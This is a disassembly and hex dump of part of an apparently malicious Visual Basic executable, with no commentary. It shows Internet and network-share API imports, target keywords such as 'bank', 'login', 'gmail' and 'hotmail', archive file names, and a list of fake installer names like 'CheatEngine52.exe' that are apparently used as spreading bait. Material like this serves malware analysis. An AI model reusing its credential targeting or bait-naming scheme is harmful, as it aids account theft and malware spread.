004072cc
004072ccfn_4072cc:
004072ccmov eax, [0x41be74]
004072d1or eax, eax
004072d3je 0x4072d7
004072d5jmp eax
004072d7
004072d7loc_4072d7:
004072d7push 0x4072b4
004072dcmov eax, 0x4010e0
004072e1call eax
004072e3jmp eax
004072cc

004072e5
004072e5 00 00 00 ...
004072e8
004072e8 struct VBDeclareNameLength
004072e8 cbName int 12
004072ec
004072ec string "closesocket",0
004072f8
004072f8 struct DeclareInfo
004072f8 lpszLibraryName uint32 0x406d24
004072fc lpszFunctionName uint32 0x4072ec
00407300 dwFlags uint32 0x00040000
00407304 lpCache uint32 0x41be78
00407308 dwReserved uint32 0x00000000
0040730c
0040730c 00 00 00 00 ....

00407310
00407310fn_407310:
00407310mov eax, [0x41be80]
00407315or eax, eax
00407317je 0x40731b
00407319jmp eax
0040731b
0040731bloc_40731b:
0040731bpush 0x4072f8
00407320mov eax, 0x4010e0
00407325call eax
00407327jmp eax
00407310

00407329
00407329 00 00 00 58 00 48 00 ...X.H.
00407330 00 00 04 00 00 00 00 10 0c 00 49 20 00 00 ff ff ..........I ....
00407340 d8 6c 40 00 ff ff ff ff ff ff ff ff 00 00 00 00 .l@.............
00407350 90 01 00 00 24 00 49 20 00 00 ff ff d8 6c 40 00 ....$.I .....l@.
00407360 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00407370 3c 00 05 21 00 00 ff ff 01 20 40 00 05 21 00 00 <..!..... @..!..
00407380 ff ff 01 20 ...
00407384
00407384 struct VBDeclareNameLength
00407384 cbName int 17
00407388
00407388 string "InternetReadFile",0
00407399
00407399 00 00 00 ...
0040739c
0040739c struct DeclareInfo
0040739c lpszLibraryName uint32 0x40660c
004073a0 lpszFunctionName uint32 0x407388
004073a4 dwFlags uint32 0x00040000
004073a8 lpCache uint32 0x41be84
004073ac dwReserved uint32 0x00000000
004073b0
004073b0 00 00 00 00 ....

004073b4
004073b4fn_4073b4:
004073b4mov eax, [0x41be8c]
004073b9or eax, eax
004073bbje 0x4073bf
004073bdjmp eax
004073bf
004073bfloc_4073bf:
004073bfpush 0x40739c
004073c4mov eax, 0x4010e0
004073c9call eax
004073cbjmp eax
004073b4

004073cd
004073cd 00 00 00 ...
004073d0
004073d0 struct VBDeclareNameLength
004073d0 cbName int 20
004073d4
004073d4 string "InternetCloseHandle",0
004073e8
004073e8 struct DeclareInfo
004073e8 lpszLibraryName uint32 0x40660c
004073ec lpszFunctionName uint32 0x4073d4
004073f0 dwFlags uint32 0x00040000
004073f4 lpCache uint32 0x41be90
004073f8 dwReserved uint32 0x00000000
004073fc
004073fc 00 00 00 00 ....

00407400
00407400fn_407400:
00407400mov eax, [0x41be98]
00407405or eax, eax
00407407je 0x40740b
00407409jmp eax
0040740b
0040740bloc_40740b:
0040740bpush 0x4073e8
00407410mov eax, 0x4010e0
00407415call eax
00407417jmp eax
00407400

00407419
00407419 00 00 00 ...
0040741c
0040741c struct VBDeclareNameLength
0040741c cbName int 14
00407420
00407420 string "InternetOpenA",0
0040742e
0040742e 00 00 ..
00407430 02 00 00 00 ....
00407434
00407434 wstring ".",0
00407438
00407438 06 00 00 00 ....
0040743c
0040743c wstring "hzy",0
00407444
00407444 02 00 00 00 ....
00407448
00407448 wstring "V",0
0040744c
0040744c struct DeclareInfo
0040744c lpszLibraryName uint32 0x40660c
00407450 lpszFunctionName uint32 0x407420
00407454 dwFlags uint32 0x00040000
00407458 lpCache uint32 0x41be9c
0040745c dwReserved uint32 0x00000000
00407460
00407460 00 00 00 00 ....

00407464
00407464fn_407464:
00407464mov eax, [0x41bea4]
00407469or eax, eax
0040746bje 0x40746f
0040746djmp eax
0040746f
0040746floc_40746f:
0040746fpush 0x40744c
00407474mov eax, 0x4010e0
00407479call eax
0040747bjmp eax
00407464

0040747d
0040747d 00 00 00 ...
00407480
00407480 struct VBDeclareNameLength
00407480 cbName int 17
00407484
00407484 string "InternetConnectA",0
00407495
00407495 00 00 00 ...
00407498
00407498 struct DeclareInfo
00407498 lpszLibraryName uint32 0x40660c
0040749c lpszFunctionName uint32 0x407484
004074a0 dwFlags uint32 0x00040000
004074a4 lpCache uint32 0x41bea8
004074a8 dwReserved uint32 0x00000000
004074ac
004074ac 00 00 00 00 ....

004074b0
004074b0fn_4074b0:
004074b0mov eax, [0x41beb0]
004074b5or eax, eax
004074b7je 0x4074bb
004074b9jmp eax
004074bb
004074bbloc_4074bb:
004074bbpush 0x407498
004074c0mov eax, 0x4010e0
004074c5call eax
004074c7jmp eax
004074b0

004074c9
004074c9 00 00 00 ...
004074cc
004074cc struct VBDeclareNameLength
004074cc cbName int 17
004074d0
004074d0 string "InternetOpenUrlA",0
004074e1
004074e1 00 00 00 ...
004074e4
004074e4 struct DeclareInfo
004074e4 lpszLibraryName uint32 0x40660c
004074e8 lpszFunctionName uint32 0x4074d0
004074ec dwFlags uint32 0x00040000
004074f0 lpCache uint32 0x41beb4
004074f4 dwReserved uint32 0x00000000
004074f8
004074f8 00 00 00 00 ....

004074fc
004074fcfn_4074fc:
004074fcmov eax, [0x41bebc]
00407501or eax, eax
00407503je 0x407507
00407505jmp eax
00407507
00407507loc_407507:
00407507push 0x4074e4
0040750cmov eax, 0x4010e0
00407511call eax
00407513jmp eax
004074fc

00407515
00407515 00 00 00 0c 00 08 00 00 00 00 00 ...........
00407520 00 00 00 00 14 00 00 00 ........
00407528
00407528 wstring "Friendster",0
0040753e
0040753e 00 00 ..
00407540 0a 00 00 00 ....
00407544
00407544 wstring "yahoo",0
00407550
00407550 0a 00 00 00 ....
00407554
00407554 wstring "gmail",0
00407560
00407560 0a 00 00 00 ....
00407564
00407564 wstring "login",0
00407570
00407570 08 00 00 00 ....
00407574
00407574 wstring "bank",0
0040757e
0040757e 00 00 ..
00407580 0e 00 00 00 ....
00407584
00407584 wstring "hotmail",0
00407594
00407594 12 00 00 00 ....
00407598
00407598 wstring "\\64enc.en",0
004075ac
004075ac 14 00 00 00 ....
004075b0
004075b0 wstring "\\MYpIC.zip",0
004075c6
004075c6 00 00 04 00 00 00 ......
004075cc
004075cc wstring ":\\",0
004075d2
004075d2 00 00 00 00 00 00 47 00 65 00 74 00 46 00 ......G.e.t.F.
004075e0 69 00 6c 00 65 00 00 00 4f 00 70 00 65 00 6e 00 i.l.e...O.p.e.n.
004075f0 41 00 73 00 54 00 65 00 78 00 74 00 53 00 74 00 A.s.T.e.x.t.S.t.
00407600 72 00 65 00 61 00 6d 00 00 00 00 00 52 00 65 00 r.e.a.m.....R.e.
00407610 61 00 64 00 41 00 6c 00 6c 00 00 00 02 00 00 00 a.d.A.l.l.......
00407620
00407620 wstring "@",0
00407624
00407624 43 00 6c 00 6f 00 73 00 65 00 00 00 C.l.o.s.e...
00407630 52 00 65 00 61 00 64 00 4c 00 69 00 6e 00 65 00 R.e.a.d.L.i.n.e.
00407640 00 00 00 00 02 00 00 00 ........
00407648
00407648 wstring " ",0
0040764c
0040764c 4e 00 00 00 N...
00407650
00407650 wstring "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._",0
004076a0
004076a0 04 00 00 00 ....
004076a4
004076a4 wstring "CO",0
004076aa
004076aa 00 00 02 00 00 00 ......
004076b0
004076b0 wstring "m",0
004076b4
004076b4 04 00 00 00 ....
004076b8
004076b8 wstring ".B",0
004076be
004076be 00 00 ..
004076c0 02 00 00 00 ....
004076c4
004076c4 wstring "r",0
004076c8
004076c8 06 00 00 00 ....
004076cc
004076cc wstring "zip",0
004076d4
004076d4 06 00 00 00 ....
004076d8
004076d8 wstring "}q}",0
004076e0
004076e0 06 00 00 00 ....
004076e4
004076e4 wstring "}de",0
004076ec
004076ec 2c 00 00 00 ,...
004076f0
004076f0 wstring "RealPlayer13-5GOLD.exe",0
0040771e
0040771e 00 00 ..
00407720 3c 00 00 00 <...
00407724
00407724 wstring "Icon Cool-Editor 3.4.30315.exe",0
00407762
00407762 00 00 22 00 00 00 .."...
00407768
00407768 wstring "CheatEngine52.exe",0
0040778c
0040778c 22 00 00 00 "...
00407790
00407790 wstring "framework-4.4.exe",0
004077b4
004077b4 42 00 00 00 B...
004077b8
004077b8 wstring "Vista Transformation Pack 4.0.exe",0
004077fc
004077fc 36 00 00 00 6...
00407800
00407800 wstring "Pack_Vista_Inspirat_1.6.exe",0
00407838
00407838 2a 00 00 00 *...
0040783c
0040783c wstring "DeepUnfreezerU1.6.exe",0
00407868
00407868 struct VBDeclareNameLength
00407868 cbName int 14
0040786c
0040786c string "WNetOpenEnumA",0
0040787a
0040787a 00 00 02 00 00 00 ......
00407880
00407880 wstring "T",0
00407884
00407884 02 00 00 00 ....
00407888
00407888 wstring "t",0
0040788c
0040788c 50 00 00 00 P...
00407890
00407890 wstring "Pack_Longhorn_Inspirat_1.6_code32547.exe",0
004078e2
004078e2 00 00 28 00 00 00 ..(...